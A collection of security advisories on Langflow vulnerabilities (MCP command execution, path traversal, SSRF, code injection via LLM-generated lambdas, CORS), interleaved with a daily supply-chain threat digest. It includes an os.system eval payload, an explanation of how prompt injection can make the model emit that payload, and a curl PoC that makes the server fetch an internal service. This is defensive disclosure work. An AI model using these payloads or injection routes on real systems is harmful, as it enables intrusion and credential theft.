Langflow is a tool for building and deploying AI-powered agents and workflows. Before Langflow 1.10.3, the MCP stdio transport launched whatever command / args a user put in an MCP server configuration, with no allowlist and (before 1.10.3) wrapped in bash -c "exec {command} ...". Any user able to reach the MCP server settings ("Settings → MCP Servers → Add MCP Server", POST/PATCH /api/v2/mcp/servers/{servername}) or to build a flow with the MCP Tools component could add a "server" whose command is an arbitrary OS command (touch, rm -rf, a reverse shell, ...). The command runs on the Langflow host as the Langflow process user as soon as Langflow tries to connect to the server (listing servers, loading tools, running the flow) — even when the UI then reports that the stdio server failed to start. With the default LANGFLOWAUTOLOGIN=true, GET /api/v1/autologin hands out a token without credentials, so on an exposed instance running the default configuration this is reachable without an account. AUTOLOGIN is documented as a development-only setting; with it disabled, any authenticated (non-admin) user can exploit it. This issue is fixed in Langflow 1.10.3, langflow-base 0.10.3, and lfx 1.10.3.

langflow-ai langflow v1.8.4 is affected by: Directory Traversal. The impact is: Arbitrary file write outside the intended workspace or storage boundary.. The component is: src/backend/base/langflow/api/v1/knowledgebases.py:knowledgebases-createknowledgebase-a-live-http-post-to-create-knowledge-base. The attack vector is: Attack surface: HTTP or browser-backed service path. A public-facing upload or HTTP route handler forwards an attacker-controlled path or filename into host file creation without any visible boundary enforcement. ¶¶ A weakness has been identified in langflow-ai langflow up to 1.8.4. langflow contains an absolute path traversal vulnerability in knowledgebases-createknowledgebase-a-live-http-post-to-create-knowledge-base (src/backend/base/langflow/api/v1/knowledgebases.py:51). An attacker can write or overwrite files outside the intended working directory by providing absolute paths in the knowledge base creation endpoint.

A vulnerability was identified in langflow-ai langflow up to 1.9.3. This affects an unknown function of the component Bundle URL Loader. The manipulation leads to code injection. The attack needs to be performed locally. The vendor was contacted early about this disclosure but did not respond in any way.

Today, May 27, 2026, we've identified 12 critical security threats across npm, PyPI, and supply-chain ecosystems. These vulnerabilities, detected in the past 24 hours, pose significant risks to software development.

|\#|Package / Advisory|Ecosystem|Severity|Fix| |:-|:-|:-|:-|:-| |1|FUXA · CVE-2026-43945|npm|CRITICAL|Update| |2|FUXA · CVE-2026-43947|npm|CRITICAL|Update| |3|Laravel Lang Supply Chain Advisory|Composer|CRITICAL|Uninstall / Audit| |4|durabletask|PyPI|CRITICAL|Uninstall / Audit| |5|AntV Supply Chain Attack|npm|CRITICAL|Uninstall / Audit| |6|node-ipc|npm|CRITICAL|Uninstall / Audit| |7|TanStack Packages|npm|CRITICAL|Uninstall / Audit| |8|lightning|PyPI|CRITICAL|Uninstall / Audit| |9|FUXA · CVE-2026-43946|npm|HIGH|Update| |10|yeoman-environment · CVE-2026-42089|npm|HIGH|6.0.1| |11|Armoli Technology Cargo Tracking System · CVE-2023-2065|Cargo|HIGH|Update| |12|Log4j 1.x JMSSink · CVE-2022-23302|Maven|HIGH|Migrate away / Update| |13|Langflow · CVE-2025-34291|PyPI|HIGH|Update| |14|Argo CD · CVE-2022-24348|GitHub Actions|HIGH|Upgrade|

FUXA Vulnerable to Pre-auth RCE via Path Manipulation & Configuration Injection

Ecosystem: npm CVE: CVE-2026-43945 Severity: CRITICAL This vulnerability chain in FUXA (v.1.3.0-2706) allows unauthenticated remote attackers to achieve Full Remote Code Execution (RCE) as root, even in secure configurations. Action Required: Upgrade to a version that addresses this vulnerability. Source

FUXA Vulnerable to Unauthenticated Remote Code Execution via Script Test Mode Authorization Bypass

Ecosystem: npm CVE: CVE-2026-43947 Severity: CRITICAL A vulnerability in FUXA's POST /api/runscript endpoint allows unauthenticated attackers to execute arbitrary code via test mode if a server-side script exists. Action Required: Upgrade to a version that addresses this vulnerability. Source

Laravel Lang Supply Chain Advisory

Ecosystem: Composer Severity: CRITICAL Hundreds of historical Laravel Lang Packagist releases were republished with malicious code, risking credential theft and secret exfiltration. Action Required: Remove or audit any Laravel Lang packages installed from Packagist. Use trusted sources for dependencies. Source

The AntV Supply Chain Campaign Expands: Microsoft's durabletask PyPI Package Compromised

Ecosystem: PyPI Severity: CRITICAL The AntV supply chain attack campaign has compromised durabletask, a Microsoft-associated Python package on PyPI, potentially exposing users to malicious code. Action Required: Remove or audit any durabletask packages installed from PyPI. Use trusted sources for dependencies. Source

Mini Shai-Hulud Hits AntV: 300+ Malicious npm Packages Published via Compromised Maintainer Account

Ecosystem: npm Severity: CRITICAL A compromised npm maintainer account led to the automated release of over 300 malicious package versions in the AntV ecosystem as part of the Mini Shai-Hulud campaign. Action Required: Audit your dependencies for any AntV packages. Remove or revert to known good versions. Source

Malicious node-ipc versions published to npm in suspected maintainer account compromise

Ecosystem: npm Severity: CRITICAL Multiple malicious versions of the popular node-ipc npm package were published to the npm registry, posing a risk to users. Action Required: Audit your dependencies for node-ipc. Remove or revert to known good versions. Source

TanStack Npm Packages Compromised Inside The Mini Shai Hulud Supply Chain Attack

Ecosystem: npm Severity: CRITICAL The Mini Shai-Hulud worm compromised 84 npm package artifacts across 42 /\ packages, chaining GitHub Actions vulnerabilities to achieve supply chain attacks with valid SLSA Build Level 3 attestations. Action Required: Audit your dependencies for u/tanstack\ packages. Remove or revert to known good versions. Source

lightning PyPI Compromise: A Bun-Based Credential Stealer in Python

Ecosystem: PyPI Severity: CRITICAL A malicious release of the lightning PyPI package includes a credential-stealing Bun payload that runs on import, potentially compromising user credentials. Action Required: Remove or audit any lightning packages installed from PyPI. Use trusted sources for dependencies. Source

FUXA has an unauthenticated arbitrary tag value disclosure via /api/getTagValue

Ecosystem: npm CVE: CVE-2026-43946 Severity: HIGH An authorization bypass in FUXA's /api/getTagValue endpoint allows unauthenticated access to tag values when the referenced script does not exist. Action Required: Upgrade to a version that addresses this vulnerability. Source

yeoman-environment Vulnerable to Arbitrary Package Installation without User Confirmation

Ecosystem: npm CVE: CVE-2026-42089 Severity: HIGH yeoman-environment versions >= 2.9.0 and < 6.0.1 can install arbitrary packages without confirmation, leading to potential code execution during CLI bootstrap. Action Required: Upgrade to version 6.0.1 or later. Source

CVE-2023-2065 - Authorization Bypass Through User-Controlled Key vulnerability in Armoli Technology Cargo Tracking System allows Authent

Ecosystem: Cargo CVE: CVE-2023-2065 Severity: HIGH An authorization bypass vulnerability in Armoli Technology Cargo Tracking System allows for authentication abuse and bypass. Action Required: Upgrade to a version that addresses this vulnerability. Source

CVE-2022-23302 - JMSSink in all versions of Log4j 1.x is vulnerable to deserialization of untrusted data when the attacker has write acce

Ecosystem: Maven CVE: CVE-2022-23302 Severity: HIGH Log4j 1.x's JMSSink is vulnerable to deserialization of untrusted data, potentially leading to remote code execution if configured with an attacker-accessible LDAP service. Action Required: Upgrade to Log4j 2.x or migrate away from JMSSink. Source

CVE-2025-34291 - Langflow Origin Validation Error Vulnerability

Ecosystem: PyPI CVE: CVE-2025-34291 Severity: HIGH Langflow contains an origin validation error vulnerability due to permissive CORS configuration, allowing malicious webpages to perform cross-origin requests with credentials and potentially achieve system compromise. Action Required: Upgrade to a version that addresses this vulnerability. Source

Lessons learned from the Argo CD zero-day vulnerability (CVE-2022-24348)

Ecosystem: GitHub Actions CVE: CVE-2022-24348 Severity: HIGH This vulnerability in Argo CD highlights the risks of supply chain attacks and the importance of securing CI/CD pipelines. Action Required: Upgrade Argo CD to a patched version. Source

Automated daily digest — feedback welcome. Repo: https://github.com/Deam0on/wakellm

Summary

Langflow versions 1.3.0 through 1.10.2 contain a code-injection vulnerability in the Smart Transform (LambdaFilterComponent) component.

Smart Transform places flow-author instructions and a preview of its input data into a prompt asking an LLM to generate a Python lambda. It then extracts a one-line lambda from the model response, applies only syntactic format checks, evaluates it with Python's full builtins, and invokes the resulting function inside the Langflow process.

A malicious flow author can exploit this directly through the Instructions field. In deployments where an exposed flow passes attacker-controlled content into Smart Transform, an attacker may also exploit it indirectly through prompt injection, subject to the configured model following the injected instruction.

Vulnerability details

Vulnerable Code Location: src/lfx/src/lfx/components/llmoperations/lambdafilter.py (line 242 in v1.10.2)

python def validatelambda(self, lambdatext: str) -> bool: """Validate the provided lambda function text.""" return lambdatext.strip().startswith("lambda") and ":" in lambdatext

... return eval(lambdatext) # noqa: S307

For example, an attacker can attempt to make the model return:

lambda x: import("os").system("id")

This expression satisfies the vulnerable format checks. eval() creates the lambda with access to Python's default builtins, and the subsequent fn(data) invocation (in executelambda) executes the command.

Successful exploitation allows code execution with the privileges of the Langflow service process. This can expose or modify credentials, files, application data, and network resources accessible to that process, and may affect other tenants in shared deployments.

PoC

https://github.com/user-attachments/assets/13c48fe1-7225-4e0d-9687-2d2df1e87f0e

Fix

The reported path was addressed by validating the generated code's AST and evaluating it with a restricted builtins mapping.

The mainline fix is in PR #13530 (1641b28f) and shipped in Langflow 1.11.0. The 1.10.3 backport is in PR #14071 (94859df3). Users should upgrade to Langflow 1.10.3 or later.

Workarounds

Until an upgrade is possible: - Remove Smart Transform from runnable flows. - Restrict flow creation, editing, and execution to trusted users. - Do not route untrusted or externally controlled data through Smart Transform. - Limit the Langflow process's filesystem, network, and credential access.

Credit

- Peyton Kennedy (p80n-sec) of Endor Labs — reporter (original finder) - SZXSec — reporter (duplicate report) - cyjhhh — reporter (duplicate report) - 0gur1 — reporter (duplicate report) - ajm4n — reporter (duplicate report, Finding 1 of a multi-finding submission) - andifilhohub — analyst - Jordan Frazier (jordanrfrazier) — remediation developer

A vulnerability was determined in langflow-ai langflow up to 1.8.4. Affected by this issue is the function CodeParser.parsecallabledetails of the file src/lfx/src/lfx/custom/codeparser/codeparser.py of the component Full Builtins Module Handler. Executing a manipulation can lead to command injection. The attack can be executed remotely. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.

A flaw has been found in langflow-ai langflow up to 1.8.3. This affects an unknown function of the file src/frontend/src/modals/IOModal/components/chatView/chatMessage/components/edit-message.tsx of the component Frontend React Component Rendering. Executing a manipulation can lead to cross site scripting. The attack may be launched remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

A vulnerability was detected in langflow-ai langflow up to 1.8.3. The impacted element is the function getclientip/installmcpconfig of the file src/backend/base/langflow/api/v1/mcpprojects.py of the component Model Context Protocol Configuration API. Performing a manipulation of the argument X-Forwarded-For results in injection. The attack may be initiated remotely. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

A security vulnerability has been detected in langflow-ai langflow up to 1.8.3. The affected element is the function createproject/encryptauthsettings of the file src/backend/base/Langflow/api/v1/projects.py of the component Project Creation Endpoint. Such manipulation of the argument authsettings leads to cleartext storage in a file or on disk. The attack can be launched remotely. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

A weakness has been identified in langflow-ai langflow up to 1.8.3. Impacted is the function removeapikeys/hasapiterms of the file src/backend/base/langflow/api/utils/core.py of the component Flow Using API. This manipulation causes unprotected storage of credentials. The attack can be initiated remotely. The exploit has been made available to the public and could be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.

A security flaw has been discovered in langflow-ai langflow up to 1.1.0. This issue affects the function createuploadfile of the file src/backend/base/Langflow/api/v1/endpoints.py of the component API Endpoint. The manipulation results in unrestricted upload. It is possible to launch the attack remotely. The exploit has been released to the public and may be used for attacks. The vendor was contacted early about this disclosure but did not respond in any way.

The '/api/v1/files/images/{flowid}/{filename}' endpoint does not enforce any authentication or authorization checks, allowing any unauthenticated user to download images belonging to any flow by knowing (or guessing) the flow ID and file name.

I recently disclosed CVE-2026-33017, a major unauthenticated RCE in Langflow.

What made this bug especially notable was that the dangerous pattern had already been partially addressed elsewhere, but another public-facing code path still exposed a route to code execution. It is a good example of why fixing a single reported endpoint is not always enough when the real issue is a broader insecure pattern.

I wrote a full breakdown here:

https://medium.com/@aviral23/cve-2026-33017-how-i-found-an-unauthenticated-rce-in-langflow-by-reading-the-code-they-already-dc96cdce5896

Would love to hear thoughts from others doing AppSec and OSS security reviews.

Langflow PythonFunction Code Injection Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Langflow. Attack vectors and exploitability will vary depending on the configuration of the product.

The specific flaw exists within the handling of Python function components. Depending upon product configuration, an attacker may be able to introduce custom Python code into a workflow. An attacker can leverage this vulnerability to execute code in the context of the application. Was ZDI-CAN-27497.

This vulnerability allows remote attackers to execute arbitrary code on affected installations of Langflow. Attack vectors and exploitability will vary depending on the configuration of the product. The specific flaw exists within the handling of Python function components. Depending upon product configuration, an attacker may be able to introduce custom Python code into a workflow. An attacker can leverage this vulnerability to execute code in the context of the application.

This vulnerability allows remote attackers to execute arbitrary code on affected installations of Langflow. Attack vectors and exploitability will vary depending on the configuration of the product. The specific flaw exists within the handling of Python function components. Depending upon product configuration, an attacker may be able to introduce custom Python code into a workflow. An attacker can leverage this vulnerability to execute code in the context of the application.

Vulnerability Overview

Langflow provides an API Request component that can issue arbitrary HTTP requests within a flow. This component takes a user-supplied URL, performs only normalization and basic format checks, and then sends the request using a server-side httpx client. It does not block private IP ranges (127.0.0.1, the 10/172/192 ranges) or cloud metadata endpoints (169.254.169.254), and it returns the response body as the result.

Because the flow execution endpoints (/api/v1/run, /api/v1/run/advanced) can be invoked with just an API key, if an attacker can control the API Request URL in a flow, non-blind SSRF is possible—accessing internal resources from the server’s network context. This enables requests to, and collection of responses from, internal administrative endpoints, metadata services, and internal databases/services, leading to information disclosure and providing a foothold for further attacks.

Vulnerable Code 1. When a flow runs, the API Request URL is set via user input or tweaks, or it falls back to the value stored in the node UI. https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/backend/base/langflow/api/v1/endpoints.py#L349-L359 python @router.post("/run/{flowidorname}", responsemodel=None, responsemodelexcludenone=True) async def simplifiedrunflow( , backgroundtasks: BackgroundTasks, flow: Annotated[FlowRead | None, Depends(getflowbyidorendpointname)], inputrequest: SimplifiedAPIRequest | None = None, stream: bool = False, apikeyuser: Annotated[UserRead, Depends(apikeysecurity)], context: dict | None = None, httprequest: Request, ): https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/backend/base/langflow/api/v1/endpoints.py#L573-L588 bash @router.post( "/run/advanced/{flowidorname}", responsemodel=RunResponse, responsemodelexcludenone=True, ) async def experimentalrunflow( , session: DbSession, flow: Annotated[Flow, Depends(getflowbyidorendpointname)], inputs: list[InputValueRequest] | None = None, outputs: list[str] | None = None, tweaks: Annotated[Tweaks | None, Body(embed=True)] = None, stream: Annotated[bool, Body(embed=True)] = False, sessionid: Annotated[None | str, Body(embed=True)] = None, apikeyuser: Annotated[UserRead, Depends(apikeysecurity)], ) -> RunResponse: 2. Normalization/validation stage: It only checks that the URL is non-empty and well-formed. No blocking of private networks, localhost, or IMDS. https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/apirequest.py#L280-L289 python def normalizeurl(self, url: str) -> str: """Normalize URL by adding https:// if no protocol is specified.""" if not url or not isinstance(url, str): msg = "URL cannot be empty" raise ValueError(msg) url = url.strip() if url.startswith(("http://", "https://")): return url return f"https://{url}" https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/apirequest.py#L433-L438 python url = self.normalizeurl(url) # Validate URL if not validators.url(url): msg = f"Invalid URL provided: {url}" raise ValueError(msg) 3. On the server side, it sends a request to an arbitrary URL using httpx.AsyncClient and exposes the response body as metadata["result"]. https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/apirequest.py#L312-L322 python try: # Prepare request parameters requestparams = { "method": method, "url": url, "headers": headers, "json": processedbody, "timeout": timeout, "followredirects": followredirects, } response = await client.request(requestparams) https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/apirequest.py#L335-L340 python # Base metadata metadata = { "source": url, "statuscode": response.statuscode, "responseheaders": responseheaders, } https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/apirequest.py#L364-L379 python # Handle response content if isbinary: result = response.content else: try: result = response.json() except json.JSONDecodeError: self.log("Failed to decode JSON response") result = response.text.encode("utf-8") metadata["result"] = result if includehttpxmetadata: metadata.update({"headers": headers}) return Data(data=metadata)

PoC

---

PoC Description - I launched a Langflow server using the latest langflowai/langflow:latest Docker container, and a separate container internal-api that exposes an internal-only endpoint /internal on port 8000. Both containers were attached to the same user-defined network (ssrf-net), allowing communication by name or via the IP 172.18.0.3. - I added an API Request node to a Langflow flow and set the URL to the internal service (http://172.18.0.3:8000/internal). Then I invoked /api/v1/run/advanced/<FLOWID> with an API key to perform SSRF. The response returned the internal service’s body in the result field, confirming non-blind SSRF.

PoC

- Langflow Setting <img width="1917" height="940" alt="image" src="https://github.com/user-attachments/assets/96b0d770-b260-440f-9205-1583c108e12f" /> - Exploit bash curl -s -X POST 'http://localhost:7860/api/v1/run/advanced/0b7f7713-d88c-4f92-bcf8-0dafe250ea9d' \ -H 'Content-Type: application/json' \ -H 'x-api-key: sk-HHc93OjH4epEhfWrweP1IwpooJ3ZZnYOu-HgqJV4M' \ --data-raw '{ "inputs":[{"components":[],"inputvalue":""}], "outputs":["Chat Output"], "tweaks":{"API Request":{"urlinput":"http://172.18.0.3:8000/internal","includehttpxmetadata":false}}, "stream":false }' | jq -r '.outputs[0].outputs[0].results.message.text | sub("^json\\n";"") | sub("\\n$";"") | fromjson | .result' <img width="1918" height="1029" alt="image" src="https://github.com/user-attachments/assets/4883029f-bd56-4c23-b5a3-6f8a84dbcce1" />

Impact

---

- Scanning internal assets and data exfiltration: Attackers can access internal administrative HTTP endpoints, proxies, metrics dashboards, and management consoles to obtain sensitive information (versions, tokens, configurations). - Access to metadata services: In cloud environments, attackers can use 169.254.169.254, etc., to steal instance metadata and credentials. - Foothold for attacking internal services: Can forge requests by abusing inter-service trust and become the starting point of an SSRF→RCE chain (e.g., invoking an internal admin API). - Non-blind: Because the response body is returned to the client, attackers can immediately view and exploit the collected data. - Risk in multi-tenant environments: Bypassing tenant boundaries can cause cross-leakage of internal network information, resulting in high impact. Even in single-tenant setups, the risk remains high depending on internal network policies.

Langflow contains an origin validation error vulnerability in which an overly permissive CORS configuration combined with a refresh token cookie configured as SameSite=None allows a malicious webpage to perform cross-origin requests that include credentials and successfully call the refresh endpoint. This could allow the attacker to execute arbitrary code and achieve full system compromise via obtained tokens that permit access to authenticated endpoints.